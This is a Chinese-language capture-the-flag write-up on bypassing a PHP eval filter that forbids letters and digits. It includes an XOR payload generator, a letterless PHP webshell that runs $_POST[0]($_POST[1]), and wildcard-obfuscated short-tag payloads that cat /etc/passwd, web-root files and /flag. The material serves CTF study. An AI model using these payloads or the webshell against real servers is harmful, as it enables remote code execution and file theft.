保證您更舒適的閱讀體驗(yàn)和持續(xù)更新,本文已轉(zhuǎn)移至我的個(gè)人博客,請(qǐng)您訪問http://anemone.top/以確保您閱讀的文章是最新版本,以及看到新的文章
一開始看這題滿腦子想的都是用異或來(lái)做,結(jié)果發(fā)現(xiàn)沒辦法調(diào)用getflag函數(shù),看了別人的wp才發(fā)現(xiàn)思路錯(cuò)了。
錯(cuò)誤思路
畢竟這個(gè)思路也蠻清奇,大概說(shuō)一下吧:
思考這一個(gè)題目
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>135){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
function getFlag()
{
echo "Flag";
}
code參數(shù)由正則過濾了大小寫字母以及數(shù)字,那么我們可以通過符號(hào)異或構(gòu)造payload。
以下腳本可以打印出符號(hào)異或得到的值,經(jīng)過試驗(yàn)26個(gè)字母的大小寫都可以通過這種方法得到:
def xor():
arr=[chr(i) for i in range(ord('a'),ord('z'))]+[chr(i) for i in range(ord('A'),ord('Z'))]
test=['`','~','!','@','%','^','*','(',')','-','+','{','}','[',']',':','<','>','.',',',';','|']
for i in test:
for j in test:
res=chr(ord(i)^ord(j))
if res in arr:
print i,j,res
'''
[ < g
[ > e
] ) t
| : F
@ , l
[ : a
[ < g
'[[]|@[['^'<>):,:<'
'''
if __name__ == '__main__':
xor()
可以看到 '[' ^'<' ='g', '['^'>'='e', ...
那么使用'[[]|@[['^'<>):,:<'就可以得到字符串'getFlag',下面就是怎么調(diào)用,想到 $_='getFlag';$_();等同于getFlag();', 那么使用$_='[[]|@[['^'<>):,:<';$_();就可以調(diào)用了,那么最后的payload就是code=$_='[[]|@[['^'<>):,:<';$_();
按照此原理,可以構(gòu)造出一句話比如:
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
回到題目
再看一下這道題目
<?php
// include 'flag.php';
// $code='[[]|@[['^'<>):,:<';
// echo $code.'()';
// @eval($code);
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){ //*
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
function getFlag()
{
echo "Flag";
}
//$hint = "php function getFlag() to get flag";
?>
在正則過濾那邊,可以看到'$'和’_'都被過濾了,這直接導(dǎo)致了即使用上述方法得到了字符串,也沒辦法執(zhí)行php的函數(shù)(這里糾正一下,php7中我們是可以通過('func_name')()在執(zhí)行函數(shù)的,這樣其實(shí)錯(cuò)誤思路是可行的,甚至在無(wú)字母數(shù)字webshell之提高篇中,作者直接使用了取反字符串的方法構(gòu)造了payload)。正確的做法使用php短標(biāo)簽是直接讀文件,考慮如下php代碼:
<?= `ls`?>
執(zhí)行結(jié)果

可以看到,<? ?>是php的短標(biāo)簽,效果等同于:
<?php echo `ls` ?>
那么在eval中怎么用這個(gè)短標(biāo)簽?zāi)兀看鸢甘窍仁褂胻ag(?>)離開當(dāng)前模式,再使用短標(biāo)簽,即eval(?><?= `ls`?>)。
接下來(lái)就是怎么繞過正則了,bash里面用通配符繞過就好了,即
cat /etc/passwd #替換為
/???/??t /??c/p???w?
因此paylaod為code=?><?=`/???/??? /???/???/????/*`;?> 相當(dāng)于code=?><?=` /bin/cat /var/www/html/*`;?>, 會(huì)發(fā)現(xiàn)php代碼里面的源代碼getflag那一部分的函數(shù)是是從/flag里面讀取的,那么構(gòu)造code=?><?=`/???/??? /????`;?>相當(dāng)于code=?><?=` /bin/cat /flag`;?>即可。